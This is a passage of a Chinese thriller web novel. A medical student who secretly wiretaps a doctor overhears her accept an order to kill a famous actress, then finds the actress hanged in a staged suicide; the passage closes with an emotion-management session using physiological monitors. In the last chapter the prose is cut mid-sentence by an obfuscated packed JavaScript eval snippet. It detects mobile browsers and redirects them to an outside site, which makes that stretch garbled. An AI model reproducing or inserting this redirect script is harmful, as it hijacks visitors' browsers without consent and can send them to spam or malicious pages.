晨光微微亮起,天边渐渐泛起一抹鱼肚白的时候,他才拖着一身的疲惫,身上还带着夜里的露水,摇摇晃晃地回到宿舍。一进门,他连衣服都来不及脱,便一头栽倒在床上,瞬间进入梦乡,仿佛要将整个白天都沉浸在那无尽的睡梦中,以此来弥补黎明前消耗的精力。 而每当夜幕降临,特别是依据他连日来精心摸索、反复确认的关文晶的班次,特意精心调整后的监听时段,他就如同披上了一层神秘的黑袍,摇身一变,成为了黑暗中悄无声息的潜行者。宿舍里,所有的灯都被熄灭,唯有监听设备的指示灯,如同黑暗中闪烁的微弱星辰,散发着幽微的光芒。他将耳朵紧紧地贴在耳机上,那小小的耳塞,在他眼中仿佛成为了连接另一个充满隐秘与未知世界的唯一通道。此刻,他所有的注意力,都被耳机那端传来的声音如磁石般牢牢牵引着,容不得一丝一毫的分心。 就这样,几天时间悄然流逝,他对关文晶的日常工作流程已然熟悉到了极致——她什么时候会准时查房,用怎样温和且专业的语气询问病患的情况;什么时候会与忧心忡忡的病患家属耐心沟通,详细解答他们心中的疑惑;什么时候又会和同事们聚在一起,热烈地讨论病例,提出自己独到的见解。甚至,仅仅通过她与同事、病患之间的对话,他便能在脑海中无比清晰地勾勒出关文晶一天完整的活动轨迹,精确到每一个小时。这种犹如对他人生活了如指掌的感觉,带给他一种扭曲且畸形的掌控感,让他心中隐隐泛起一丝自得,仿佛自己已然成为了关文晶生活背后的隐匿观察者。 然而这份自得并没有持续太久,随之而来的是越来越深的困惑。耳机那头传来的关文晶的声音,始终是那么专业、耐心,对待那些哭闹不止的患儿,她甚至称得上温柔无比,那声音仿佛能化作一缕春风,安抚着每一个幼小的心灵。但这与他记忆中那个车技彪悍、反击时手段狠辣,仿佛背后藏着无数秘密的女人形象,始终无法完美地重叠在一起,就好像这根本就是两个截然不同的人,一个是光明世界里的天使,另一个则是黑暗阴影中的神秘过客。这种强烈的反差,如同一块巨石,沉甸甸地压在他的心头,让他越发渴望揭开那层神秘的面纱,探寻关文晶背后真正的秘密。 直到二周后的这个午夜——— 宿舍里一片死寂,舍友(薛耀溪和何念曦)早已进入梦乡,只有徐燕风房间里的监听设备发出低微的电流嗡鸣声,如同某种生物的呼吸。窗外,城市的光芒渐渐黯淡下去,大部分建筑都陷入了黑暗,只有零星几点灯火,在浓稠的夜色中若隐若现。时间一分一秒地流逝,电子钟的数字跳动到凌晨1点43分。 徐燕风因为长时间戴着耳机,耳朵有些麻木胀痛,眼皮也开始打架,正有些昏昏欲睡。突然,耳机里传来一阵轻微的手机震动声,短促而清晰,紧接着是关文晶接电话的声音。她的声音带着一丝刚被从睡梦中唤醒的沙哑,却异常清晰地透过电流传了过来:“喂,是我。” 这简单的三个字,像一根针猛地扎进徐燕风的意识里,让他一个激灵,睡意瞬间消散得无影无踪!他猛地坐直身体,背部离开了椅背,下意识地屏住了呼吸,手指飞快地在设备上调大音量,心脏开始不受控制地狂跳,仿佛要撞破胸膛。他有种强烈的预感,有什么不同寻常的事情要发生了! 果然,耳机里传来一个经过明显处理的、冰冷而毫无感情的电子合成音,那声音平滑得没有任何起伏,听不出任何性别特征,只有一种机械的漠然,像来自深不见底的寒潭:“锯鳞蝰。” 徐燕风瞳孔骤然收缩!“锯鳞蝰”?代号吗?他浑身的肌肉瞬间绷紧,像拉满了的弓弦,连呼吸都忘了。那电子音没有停顿,继续下达指令,内容却如同平地惊雷,炸得十九岁男孩几乎魂飞魄散:“后天晚上有一个重要任务。要交给你。”短暂的停顿,空气中仿佛弥漫着死神的呼吸,每一秒都显得格外漫长。 “除掉杨梦路。就是那个女影星。” “轰——!”徐燕风只觉得一股寒气从脚底板直冲天灵盖,浑身的血液仿佛在瞬间凝固了!他握着耳机的手不受控制地剧烈颤抖起来,指关节因为用力而捏得发白,甚至有些僵硬。 除……除掉?杨梦路?!那个笑容甜美、活跃在各大荧幕和综艺节目上、被誉为国民初恋的当红女明星?!让关文晶去……除掉她?!这两个完全不可能联系在一起的词语,此刻通过冰冷的电子音和关文晶那平静得近乎诡异的呼吸声强行拼接在一起,构成了一幅极度恐怖、荒诞而又令人窒息的画面,在他脑海里疯狂盘旋! 6. 凶狠锯鳞蝰(2) 在那一瞬间徐燕风的大脑仿佛被一片混沌的迷雾所占据,陷入了一片空白的状态。巨大的震惊与恐惧,如同汹涌澎湃的海啸,以排山倒海之势将他彻底淹没,令他几乎丧失了思考的能力。他感觉自己就像是一个误闯入神秘禁区的莽撞之人,无意中撞破了某个足以将他认知中的一切都彻底颠覆的巨大秘密,而这个秘密的核心,竟然是那个他日复一日、细致入微观察与监听的儿科医生——关文晶! 耳机里,关文晶的回应终于传来,那声音依旧带着刚从睡梦中苏醒的微微沙哑,然而却冷静得让人毛骨悚然。没有丝毫犹豫没有哪怕一丝一毫的惊讶,仿佛她所面对的,仅仅只是一个再普通不过的会诊通知,又或者是一项平常的工作安排。她清晰地说道:“我们政保局负责对外情报事务,为何要除掉杨梦路,难道她有涉外嫌疑?”她的语调平稳,就像是在讨论今天的天气一般自然。 “算是,也不算是,”电子合成音毫无起伏波澜地回答着,那声音冰冷得如同机械发出的指令,“这娘们懂得的事情太多了,上面的意思是不能留……我们必须抢在国情局面前抢先动手,肥水不流外人田。”话语简短而决绝透露着一种不容置疑的冷酷。 “明白。目标资料和行动细节?”关文晶的声音依旧保持着平稳,听不出任何情绪的波动,仿佛杀人对她而言,不过是一件稀松平常的事情。 “稍后发送到老地方。确保干净利落。”电子音简洁地回应,如同下达一道不容违抗的死命令。 “收到。”关文晶简短的回答,如同平静湖面投入的一颗石子,却在徐燕风的心中激起千层浪。 通话戛然而止,没有多余的寒暄,没有丝毫的拖泥带水,一切都进行得如此干脆果断,就像一场早已编排好的冷酷剧目。 监听设备里再次恢复了寂静,只剩下那微弱的、持续不断的电流声,仿佛是这寂静中唯一的声响。然而,在这死寂的宿舍里,还有徐燕风自己如同擂鼓般剧烈跳动的心跳声,显得格外响亮,几乎要盖过一切。他整个人像是被施了定身咒一般,僵在原地,一动不动。冷汗早已浸湿了他后背的衣衫,那黏腻的感觉紧贴在皮肤上,带来一阵彻骨的冰凉寒意。午夜的凉风,如同鬼魅一般,透过窗户的缝隙悄无声息地钻进来,轻轻拂过他的脸颊,可他却丝毫感觉不到冷,只觉得一种深入骨髓的战栗,从他的心脏开始,迅速蔓延到四肢百骸,令他止不住地瑟瑟发抖。 关文晶……锯鳞蝰……杀手?!这几个词在他的脑海中不断盘旋,如同恶魔的诅咒。他这才恍然大悟,钟妍妍所说的“真正以她的本事,把你大卸八块都算轻的!”这句话,在这一刻被残忍而又真实地证实了......然而,却远远超出了他最疯狂、最大胆的想象!他原本以为自己可能抓到的,或许只是一些工作上的违规操作,或是见不得光的灰色交易,甚至可能是某种不为人知的特殊身份,可他无论如何也想不到,最终浮出水面的真相,竟然是……杀人!而且是要除掉一个万众瞩目、红极一时的当红女明星!这突如其来的真相如同一把重锤狠狠地撞击着他的内心,让他陷入了极度的恐惧与迷茫之中。 这消息一旦泄露出去,会在整个社会掀起怎样的滔天巨浪?!徐燕风不敢想,也想不下去。 他猛地扯下耳机,仿佛那是什么烫手的山芋,碰一下就会被灼伤。他大口大口地喘着气,胸口剧烈起伏,像是刚从溺水的边缘挣扎回来,脸色惨白如纸,没有一丝血色。他看着桌上那套还在微微发光的监听设备,第一次感到了真正的、源自灵魂深处的恐惧。 他知道了不该知道的事情。 这件事,远比他和关文晶之间那点口角摩擦、私人恩怨要严重千万倍!这已经不是一个医学院刺头学生和一个看似特别的医生之间的较量了,他可能……可能已经卷入了一个他根本无法理解的、极度危险的漩涡之中,一个足以将他彻底吞噬的黑暗深渊! 怎么办? 报警?他有什么证据?一段来源非法的窃听录音?而且对方听起来像是能轻易下达这种杀人命令的庞大组织,他报警的消息会不会立刻被他们知晓,然后被悄无声息地灭口? 装作不知道?可他已经被这巨大的秘密压得喘不过气,心脏像是被一只无形的手紧紧攥住,每一次跳动都带着沉重的负担。而且,那是一条鲜活的人命啊……那个在荧幕上巧笑倩兮、给无数人带来欢乐的杨梦路…… 徐燕风陷入了前所未有的混乱和恐慌,脑海里一片混沌,各种念头交织碰撞却理不出一丝头绪。原本只是想挖出关文晶的把柄,报复一下她之前的“嚣张”,却没想到一脚踏入了如此黑暗、如此恐怖的深渊。 窗外夜色浓稠如墨,仿佛化不开的浓痰将整个世界都吞噬。徐燕风独自坐在这片黑暗中感觉自己像暴风雨中一叶孤零零的小舟被惊涛骇浪层层包围,随时都可能被彻底倾覆卷入无底的漩涡。他窃听到的,哪里是什么报复的工具,分明是一道可能将他一起拖入地狱的催命符…… 两天后。 也是夜色如墨,浓稠得化不开。城郊毗邻自然保护区的一片顶级豪宅区【兰乔圣菲】此刻万籁俱寂,只有偶尔传来的几声虫鸣和远处模糊的城市背景音。空气湿润,带着草木和泥土的气息。 杨梦路的住所坐落在这片区域的深处,是一栋设计现代、线条流畅的白色建筑,在月光下像一枚安静的贝壳。此刻,豪宅内部灯火通明,隐约可见人影晃动,显然她正在家中。 距离豪宅主体建筑约几十米开外,一片精心修剪过、但依旧茂密的观赏性树丛阴影下正潜伏着四个不速之客。 徐燕风半蹲着,身体紧绷如同蓄势待发的猎豹,眼睛透过枝叶的缝隙,死死盯着那扇紧闭的通往花园的玻璃门。他脸上没有任何平时的玩世不恭只有一种混合着紧张、兴奋和一丝不易察觉的恐惧的凝重。 他身边,何念曦压低声音,语气里充满了不确定和一丝被夜风吹拂的寒意:“你……真的确定今晚会有‘蛇’来?”他下意识地用了徐燕风白天的比喻,感觉喉咙有些发干。 “会的。一定会。”徐燕风的声音低沉而沙哑,目光没有一丝偏移,像钉子一样钉在远处的门上,“那是一条……最毒的蛇。”他脑海里浮现出关文晶那张看似无害的脸以及耳机里那句冰冷的“锯鳞蝰”。那个代号令平日胆大妄为的他都不由自主地打了个寒颤。 时间一分一秒地流逝,每一秒都显得格外漫长。夜晚的凉意渗透进衣服,蚊虫在耳边嗡嗡作响,但两个男孩都一动不动,所有的注意力都集中在那栋灯火通明的豪宅上。 徐燕风的脑子里反复回放着窃听到的对话——“后天晚上”、“除掉杨梦路”。就是今晚!他坚信自己的判断。他要亲眼见证,要拿到证据,要把关文晶那层伪装的皮彻底撕下来!他要看看,那个在儿科病房里温柔耐心的关医生是如何撕下人的画皮露出锯鳞蝰真容。 这种目睹真相的渴望暂时压过了他内心深处对那个未知组织的恐惧。 突然他眼神一凛,低喝道:“注意!”何念曦瞬间屏住呼吸——只见远处,豪宅侧面一处被树影笼罩的角落似乎有什么东西极其轻微地动了一下。那动作快得几乎像是错觉,融于夜色,悄无声息。 紧接着,一个模糊的、穿着深色紧身衣的身影,如同鬼魅般,以一种非人的敏捷和速度借助外墙的细微凸起和阴影的掩护,几个起落便悄无声息地翻越了不低的围墙,轻盈地落在了豪宅内部的花园草坪上没有发出丝毫声响。 那身影落地后,几乎没有停顿,如同融入水中的墨滴,迅速而精准地向着建筑主体潜行而去,行动路线完美避开了所有可能被灯光照到的区域和几个可见的摄像头角度。 专业!冷酷!高效! 树丛里,两个大男孩看得目瞪口呆,连呼吸都忘了。 徐燕风的心脏几乎要跳出胸腔。虽然看不清脸,但那身形,那动作风格……他几乎可以肯定!就是他监听中的那条毒蛇——锯鳞蝰! 真的来了! 杀戮,即将在那栋看似平静的豪宅内上演!而他们,是唯一的目击者,但也可能为此招来杀身之祸! 冰冷的夜风中恐惧如同藤蔓,悄然缠上了二人的心脏…… 时间在死寂的等待中被拉扯得无比漫长每一秒都像凝固的冰块,沉甸甸地压在心头。树丛中的二人,仿佛被无形的力量冻结在冰冷的夜色里,身体僵硬,只有胸膛里那失控的心跳如擂鼓般撞击着肋骨,证明他们还鲜活地存在着。每一秒的流逝都像是在一步步走向一个未知而可怕的结局,空气中弥漫着令人窒息的紧张。 大约过了半个钟头,就在何念曦几乎要因为紧绷到极致的神经和穿透骨髓的夜风而支撑不住,身体开始微微发抖时,徐燕风猛地按住了他的肩膀,……那力道大得让他吃痛,差点没忍住叫出声来。 “出来了!”徐燕风的声音压得极低,带着一种目睹了超自然现象般的颤栗,尾音都在微微发飘。 何念曦立刻循着他示意的方向望去,只见那道鬼魅般的深色身影再次出现在围墙内侧与潜入时一样,她的动作迅捷如电,仿佛与黑暗融为一体,借着墙角阴影的掩护如同壁虎般灵活地攀附上围墙顶端,稍一借力便翻过去了落地时轻得像一片落叶,悄无声息。随即她头也不回地迅速消失在豪宅另一侧更深 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那个离去的杀手以及她背后所代表的庞大势力“政保局”绝不是他们这些普通学生能招惹的,稍有不慎就是万劫不复。但另一种更强烈的冲动死死攫住了他——亲眼确认!拿到关文晶是杀手的铁证!这种揭开真相的诱惑,以及内心深处对关文晶那复杂的情绪(愤怒、恐惧或许还有一丝被欺骗的扭曲感)交织在一起最终压倒了那股退缩的恐惧。 他深吸一口气,冰冷的空气瞬间涌入肺腑像针一样刺痛着呼吸道却也让他稍微冷静了一些。他环视何念曦,从他眼中看到同样的恐惧以及一丝被挑起的不愿就此空手而归的执拗。 “我们沿着刚才她爬过的路线进去。”徐燕风最终做出了决定,声音低沉而坚决,带着不容置疑的意味,“那里应该是监控死角。动作一定要快,只看一眼,确认情况立刻就走!记住,无论看到什么,都别碰任何东西!”说罢 率先小心翼翼地从树丛中钻了出去,何念曦也毫不犹豫地跟上去,两人对视一眼,也只能硬着头皮,心脏狂跳着跟了上去,每一步都像是踩在刀尖上。…… 二人如同夜行的老鼠,借着围墙阴影的掩护,弓着腰,快速而无声地移动到豪宅的围墙下,找到了之前那道黑影翻越的位置。模仿着那非人的敏捷是不可能的,他们只能笨拙而惊险地爬上围墙再狼狈地翻过去,落入墙内柔软但冰冷的草坪上,草叶上的露水瞬间浸湿了裤脚。 豪宅内部比从外面看起来更加寂静,静得能听到自己血液在血管里流动的声音,以及心脏撞击胸腔的轰鸣。空气中弥漫着一股淡淡的甜腻的香薰气味,本该让人放松,此刻却混合着一种难以言喻的、冰冷的违和感,让人浑身不自在。 他们小心翼翼地靠近那扇通往客厅的玻璃门。徐燕风伸出手,试探性地轻轻一推——门竟然没有锁!是那毒蛇离开时故意留下的?还是原本就没锁?这个疑问在他脑海中一闪而过却没时间细想。 门悄无声息地滑开一道缝隙,内部温暖(甚至有些过热)的空气夹杂着那甜腻的香气涌了出来,与外面的寒意形成鲜明的反差,却让人更加毛骨悚然,仿佛踏入的不是华丽的豪宅,而是一个精心布置的陷阱。 二人鱼贯而入,动作轻得像羽毛落地,生怕发出一点声响。 豪宅内部装修极尽奢华,巨大的水晶吊灯散发着璀璨却冰冷的光芒,将每一个角落都照亮,昂贵的艺术品和古董摆件陈列在各个角落,一切都井然有序,仿佛主人只是暂时离开,随时会回来一般。但就是这种过分的“正常”,在这种情境下,显得无比诡异,像是暴风雨前的虚假宁静。 客厅,空无一人。昂贵的真皮沙发上,抱枕摆放得整整齐齐,仿佛从未有人坐过。 餐厅,长长的餐桌上还放着半杯没喝完的红酒,在灯光下泛着暗红的光泽,像一滩凝固的血,透着不祥的意味。 厨房,干净得能反光,厨具摆放得一丝不苟,没有任何异样。 死寂。绝对的死寂。仿佛整个空间的生命力都被抽空了,只剩下冰冷的奢华。 他们互相使着眼色用极低的气声交流,不敢发出任何大的声响。几人分头搜索了几个主要房间,却一无所获。杨梦路在哪里?那个离去的杀手,到底做了什么? “会不会……在楼上卧室”何念曦目光扫过旋转楼梯,在昏暗的二楼平台上停留片刻,声音压得像蚊子哼。然后又扫过一楼的房间,落在不远处一扇虚掩着的门上,门缝里透出温暖的灯光,那似乎是主卧室配套的浴室。 “我去看看浴室!”他压低声音说了一句,不等徐燕风反应,便壮着胆子几乎是小跑着过去,伸手推开那扇虚掩的门…… 7. 第一课~情绪牢笼 徐燕风只觉得心头像是被一只无形的手紧紧攥住,想要阻止却早已来不及,只能屏住呼吸,紧张地死死盯着浴室门口,心仿佛提到了嗓子眼,连跳动都带着沉重的滞涩感。 时间仿佛在这一刻被无限拉长,凝固了短暂的一秒。 随即—— “啊——!!!!!!!!!” 一声凄厉到变调的尖叫,裹挟着极致的恐惧与惊骇,猛地从浴室里炸开!那声音尖锐得如同碎裂的玻璃,几乎要划破豪宅内凝滞的空气,更像一把淬了冰的锋利刀刃,瞬间击穿了外面徐燕风紧绷的心理防线,让他瞬间头皮发麻,后颈的汗毛根根倒竖起来,一股寒意顺着脊椎直窜而下! “念曦!”徐燕风脸色骤然大变,惨白如纸,心脏狂跳得仿佛要冲破胸膛跳出来,他想也没想,第一个不顾一切地猛地冲进浴室—— 首先闯入视线的,是何念曦瘫软在冰凉大理石地面上的身影。他整个人蜷缩着,身体却如同筛糠般剧烈颤抖,根本停不下来。双眼瞪得几乎要从眼眶里裂开,瞳孔放大到极致,里面清晰地倒映着那让他极度惊恐的景象,喉咙里发出嗬嗬的、不成调的抽气声,像是被瞬间抽走了所有力气,连呼喊都变得支离破碎。 徐燕风的目光下意识地顺着他惊恐的视线向上望去—— 宽敞奢华的浴室中央,巨大的按摩浴缸旁,正对着门口的位置,立着一个欧式复古风格的落地穿衣镜框架,雕花精致繁复,此刻却在昏暗的光线下透着一股说不出的阴森。 而此刻,那框架的横梁上,赫然悬挂着一个人。不是别人,正是那位万众瞩目的当红女明星——杨梦路! 她穿着一身丝质的、一看便价值不菲的酒红色睡衣,长发凌乱地披散下来,如同墨色的瀑布遮住了部分面容。脖子被一条看起来像是浴袍腰带的丝绸带子紧紧勒住,带子的另一端牢牢系在镜框的横梁上。她的身体微微打着转,在空气中形成一种令人头皮发麻的、缓慢而僵硬的晃动。脚尖无力地垂向光洁的地面,离地大约有十几公分,那姿态显得格外诡异而惊悚。 头顶的灯光洒落下来,在她微微晃动的身体上投下摇曳不定、忽明忽暗的阴影,更添了几分阴森。她的脸侧向一边,被散乱的头发遮挡了大半,露出的那部分皮肤呈现出一种不自然的青白色,毫无半分血色,嘴唇微微张着,仿佛临死前还想呼吸,却再也吸不进一丝空气,只剩下令人窒息的死寂。 没有淋漓的血迹,没有激烈搏斗的痕迹,眼前的一切看起来……就像是一场精心布置的自杀现场。 但徐燕风心里清清楚楚,不是这样的!他亲眼看着那个杀手如同鬼魅般翻墙进来,又看着她悄无声息地消失在夜色里…… 一股彻骨的寒气从他的脊椎骨直冲头顶,四肢瞬间变得冰凉,像是被猛地投入了冰窖。他虽然早有心理准备,知道可能会看到可怕的景象,但当亲眼目睹这具刚刚失去生命、还是公众熟知的知名人物的尸体时,那种视觉与心理上的冲击力是毁灭性的。胃里一阵翻江倒海,酸涩感直冲喉咙,他死死咬着牙,强行压下那股汹涌的呕吐欲望,牙齿咬得咯咯作响,浑身都在控制不住地剧烈发抖。 吊死的……伪装成自杀?! 这就是“锯鳞蝰”的手段?!这就是关文晶干出来的事?! 何念曦那撕心裂肺的尖叫似乎还在浴室的空气中回荡,与眼前这具微微摇晃的尸体、以及空气中那甜腻的香薰混合着若有似无的死亡气息的诡异味道,共同构成了一幅如同地狱般的图景,深深地烙印在他的脑海里,挥之不去。 他闯入了这桩凶杀现场,亲眼目睹了一个被精心伪装的死亡。这个惊天的秘密,如同沉重的枷锁,牢牢地铐住了他和何念曦。而那个已然离去的杀手,那个代号“锯鳞蝰”的关文晶,她的影子,如同此刻杨梦路摇晃的尸体一样,阴森而恐怖,笼罩在他的心头…… 第二天,当清晨的第一缕阳光试图穿透云层,驱散昨夜的阴霾时,一场舆论的海啸已经以惊人的速度席卷了整个瑆洲,甚至波及到了更远的地方。 所有的主流媒体、新闻门户网站、社交媒体平台,几乎都在头版头条或是被疯狂转发的热门位置,被同一个重磅消息所占据—— 【悲讯!顶流女星杨梦路昨夜于家中不幸离世!】 【独家内幕:杨梦路长期遭受网络暴力,疑因严重抑郁症轻生!】 【天使折翼:再见,我们的杨梦路!回顾她灿烂而短暂的一生……】 【警方初步通报:排除他杀可能,现场发现遗书……】 点开那些新闻,内容大同小异:详细描述了杨梦路近年来如何在网络上被恶意造谣中伤、被对家粉丝围攻谩骂、被黑粉无底线地人身攻击,还引用所谓“知情人士”的话,透露她早已罹患严重的抑郁症,多次就医,情绪极不稳定。报道中甚至还模糊地提到了“现场发现的遗书内容表达了其内心的痛苦与挣扎”,并配以杨梦路以往在舞台上光彩照人、此刻却变成黑白色的照片,刻意营造出强烈的反差和浓浓的悲剧氛围。 网络上一时间哀鸿遍野,粉丝们在评论区痛哭流涕,自发组织各种线上线下的悼念活动,#杨梦路一路走好#、#拒绝网络暴力#等话题瞬间引爆热搜,字里行间充满了悲伤、愤怒和对网络施暴者的声讨。之前曾公开攻击过杨梦路的账号纷纷被网友们揪出来“鞭尸”,整个互联网都沉浸在一片喧嚣的悲恸与反思(或许只是伪反思)之中。 完美的叙事,完美的逻辑,完美的……掩盖。 钟妍妍的“特别课程”安排在几天后的一个下午,地点是她指定的——医院顶楼那间闲置的小会议室。这里平时少有人来,窗外能看到医学院的红砖屋顶和更远处瑆洲市区的低矮天际线。 徐燕风提前十分钟就到了。他背着书包,一身运动装还没换,显然是直接从网球场过来的。推开门的瞬间,他挑了挑眉。 会议室被重新布置过。 正中央不是会议桌,而是两把相对摆放的扶手椅,距离恰到好处——不远不近,刚好在正常社交距离的临界点上。墙角多了一个小推车,上面盖着白布,形状隐约能看出是某种医疗器械。最引人注目的是墙上新挂的白板,上面用磁铁贴了几张医学影像片子,旁边还钉着一沓病历复印件。 “还挺像回事。”徐燕风嘀咕着,把书包扔在靠门那把椅子上,自己却没坐,而是溜达到窗边往下看。从这个角度,正好能俯瞰大半个停车场。他眯着眼找了找,很快就锁定了关文晶那辆白色轿车——干干净净,一点油漆痕迹都没有。 那天他拎着桶冲到停车场时明明看见那辆车就在第三排。可等他走近了,却发现车身上湿漉漉的,像是刚被人大水冲洗过。油漆还没干透就被冲掉了大半,剩下些淡红色的水渍,在白色车漆上晕开,倒像是什么抽象艺术。 他当时愣了几秒,随即明白过来:有人抢先一步。 “看什么呢?” 身后传来钟妍妍的声音。徐燕风转身,看见她不知何时已经站在了门口,白大褂脱了搭在臂弯,里面是浅灰色的衬衫和黑色西裤,头发在脑后扎成低马尾,整个人看起来比在妇科门诊时更利落,也更……难以捉摸。 “没什么。”徐燕风走回椅子边,没坐下,“钟医生,咱们这课到底怎么上?尹教官说您有办法‘管教’我。”他把“管教”两个字咬得有点重,带着点挑衅的意味。 钟妍妍像是没听出他话里的刺。她把白大褂挂到门后,走到小推车旁,掀开了白布。 下面是一台老式的心电图机,旁边还摆着一套血压计、脉搏血氧仪,以及——徐燕风眯了眯眼——一个皮肤电反应检测仪。医学院的基础课提过这玩意儿,测情绪唤起时的皮肤导电性变化,算是测谎仪的简化版。 “情绪管理第一课。”钟妍妍拍了拍心电图机,“我们先从生理指标开始。” 徐燕风笑了:“我是调皮了点,但不至于要给我做全套检查吧?我又没病。” “情绪失控本身就是一种病症。”钟妍妍语气平静,已经开始给心电图机的电极片涂导电膏,“长期处于愤怒、焦虑或冲动状态,会导致皮质醇水平持续升高,增加心血管疾病风险。更不用说冲动行为可能引发的实际后果——比如,”她抬起眼看他,“用油漆泼别人的车。” 徐燕风脸上的笑容僵了一下。 “坐。”钟妍妍指了指他对面的椅子。 徐燕风坐下,看着钟妍妍把电极片贴在他胸口、手腕、脚踝。她的动作专业而快速,指尖微凉,触碰到皮肤时没有任何多余的停顿或犹豫。 “我们做个基线测试。”钟妍妍打开机器,纸带开始缓缓吐出,画出规律的心电波形,“放松,正常呼吸。” 徐燕风靠在椅背上,尽量让自己显得轻松。心电图机发出轻微的嗡嗡声,窗外传来远处街道的车流声,偶尔有救护车的鸣笛由远及近又远去。他盯着墙上那些医学影像片子——一张颅脑CT,一张胸部X光,还有一张腹部超声,都是常见的教学案例。 “好了。”两分钟后,钟妍妍撕下纸带,在上面标注了时间和“基线-静息”字样,“现在,我们来聊聊你最近的情绪波动事件。” 她从钉在墙上的那沓病历里抽出一份,放在膝盖上翻开,却没看,而是直视徐燕风:“先说网球砸到关医生的事。你当时什么感觉?” 徐燕风耸肩:“意外呗。球打飞了,我也没想到会砸中人。” “砸中人之后呢?看到她是谁的那一刻?” “……”徐燕风停顿了一秒,“有点烦。怎么偏偏是她。” “为什么‘偏偏是她’会让你烦?”钟妍妍的声音很平稳,像在问病史,“你们之前有过节?” 徐燕风皱眉:“岂止是过节!……她事儿多!不许我放音响,还勾连居委会缴了我的音响!” 钟妍妍没有追问,在膝盖的病历纸上记了什么——徐燕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937025|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风瞥了一眼,发现那根本不是病历,而是空白的A4纸。 她在记他的反应。 “继续说。”钟妍妍抬眼,“球砸中她之后,你隔着网喊了句‘对不住手滑’,语气是什么样的?” 徐燕风回想了一下:“就……正常道歉啊。” “真的吗?”钟妍妍忽然调转了手里纸的方向,推到徐燕风面前。 那是刚才的心电图纸带。她在某一小段用红笔画了个圈——正好是他回答“有点烦。怎么偏偏是她”的时候。纸带上的波形在那个位置出现了一个轻微但明显的波动,心率从72跳/分钟瞬间上升到85,然后缓慢回落。 “人在回忆特定情绪事件时,生理指标会有对应反应。”钟妍妍的声音依然平静,“你嘴上说‘有点烦’,但心率变化显示,当时的情绪强度可能不止‘有点’。” 徐燕风盯着那段纸带,没说话。 “我们再试一次。”钟妍妍重新调整了检测仪,这次加上了皮肤电反应探头,夹在徐燕风食指和中指上,“说说尹教官训你的事。” 徐燕风的嘴角抽动了一下:“没什么好说的。他小题大做。” “他训你什么了?” “说我带何念曦去夜店,说关文晶告状我故意开大音响扰民。”徐燕风语速加快,“我都说了是无心的,他不信。” “夜店那次,”钟妍妍低头看着皮肤电反应的读数屏,数字在缓慢跳动,“你们几点去的?呆了多久?” “九点多吧,呆了……一两个小时。”徐燕风注意到钟妍妍的视线在读数屏上多停留了两秒,屏幕上的数字从0.8微西门子跳到了1.2。 “具体去哪个夜店?” “城东那家,‘暝色’。” 数字跳到1.5。 钟妍妍抬起眼:“你去夜店那天,穿什么颜色的衣服?” 徐燕风愣了一下:“黑色T恤吧……怎么了?” “那天何念曦穿的什么?” “他……”徐燕风皱眉,“他穿T恤,钟医生,这跟情绪管理有什么关系?” “有关系。”钟妍妍放下手里的笔,“因为你在回答某些问题时,皮肤电导率明显上升——这说明这些问题触发了你的情绪唤起,可能是紧张、戒备,或者……在回忆时需要调动更多认知资源来构建回答。” 她把读数屏转向徐燕风,上面显示着几条波峰:“我问‘几点去的’——小幅上升。问‘哪个夜店’——明显上升。问‘穿什么衣服’——回落。问‘何念曦穿什么’——再次上升。” 徐燕风看着那些曲线,忽然觉得喉咙有点干。 “我不是在审问你。”钟妍妍关掉仪器,摘下他身上的探头,“我只是在演示,情绪和生理反应是如何联动的。你嘴上可以轻描淡写地说‘无心’,但身体会记住真实的情绪状态——愤怒、委屈、紧张,或者……” 她顿了顿,看着他的眼睛:“隐瞒。” 会议室里安静了几秒。窗外传来医学院下课铃声,隐约有病人们的喧哗声从远处飘来。 徐燕风靠回椅背,这次是真的在放松——或者说,是放弃了强装的轻松。他盯着钟妍妍:“所以这节课是要告诉我,我撒谎技术很差?” “不。”钟妍妍起身,走到白板前,拿起马克笔,“是要告诉你,情绪不是你的敌人,而是信号。就像疼痛是身体的警报,愤怒、焦虑、紧张——这些情绪也是在告诉你:有事情不对劲。” 她在白板上画了个简单的流程图: ``` 事件→认知评估→情绪反应→生理唤醒→行为 ``` “大多数人的问题在于,”钟妍妍在“认知评估”和“情绪反应”之间画了个双向箭头,“他们跳过评估,直接从事件跳到行为。网球打飞了→砸到人→她是我讨厌的人→我要表现得不在乎→用轻浮的语气道歉。这个链条里,缺少了对情绪本身的觉察和消化。” 徐燕风看着那个流程图,没说话。 “而更高级的情绪管理,”钟妍妍在“生理唤醒”旁边写了个“监测”,在“行为”旁边写了个“选择”,“是在情绪产生后,先通过生理信号觉察到自己正处于哪种状态,然后——这才是关键——给自己一个选择行为的空间。” 她走回椅子边坐下,目光平静地看着徐燕风:“比如,当你想用油漆泼别人车的时候如果先注意到自己心跳加速、呼吸变浅、肌肉紧绷——这些是愤怒的生理信号——那么你就可以停下来问自己:这个行为真的能达到我的目的吗?还是有更好的方式?” 徐燕风沉默片刻,忽然笑了:“您说得都对。但您漏了一点。” “哦?” “有时候,人就是想发泄。”徐燕风站起来,开始收拾书包,“情绪管理、行为选择……听起来很好。但现实是,有些人就是欠教训。比如关文晶,她跑去告状的时候,考虑过我的感受吗?” 8. 停车场对峙 钟妍妍没有阻拦他,只是在他走到门口时说:“下周同一时间,第二课。内容:愤怒的替代性表达。” 徐燕风拉开门,又停住,回头看她:“你为什么要管这事?” 钟妍妍正在整理仪器,头也没抬:“我自发的。” “为什么?” 这次钟妍妍抬起头,窗外的夕阳正好落在她侧脸上,让她的表情在光影交界处有些模糊。 “因为我看过太多人被负面情绪毒死。”她声音很轻,却像针一样扎进空气里,“愤怒是毒,冲动是毒,失控是毒——而毒蛇最该学会的,不是如何咬人,而是何时收住毒牙。” 徐燕风站在门口,有那么一瞬间,他觉得自己好像被什么东西看穿了——不是被仪器,而是被眼前这个女人的眼神。那眼神里有种他看不懂的东西,像是经验,又像是……某种同类的气息。 “下周见,钟医生。”他最终只是点了点头,拉开门走了出去。 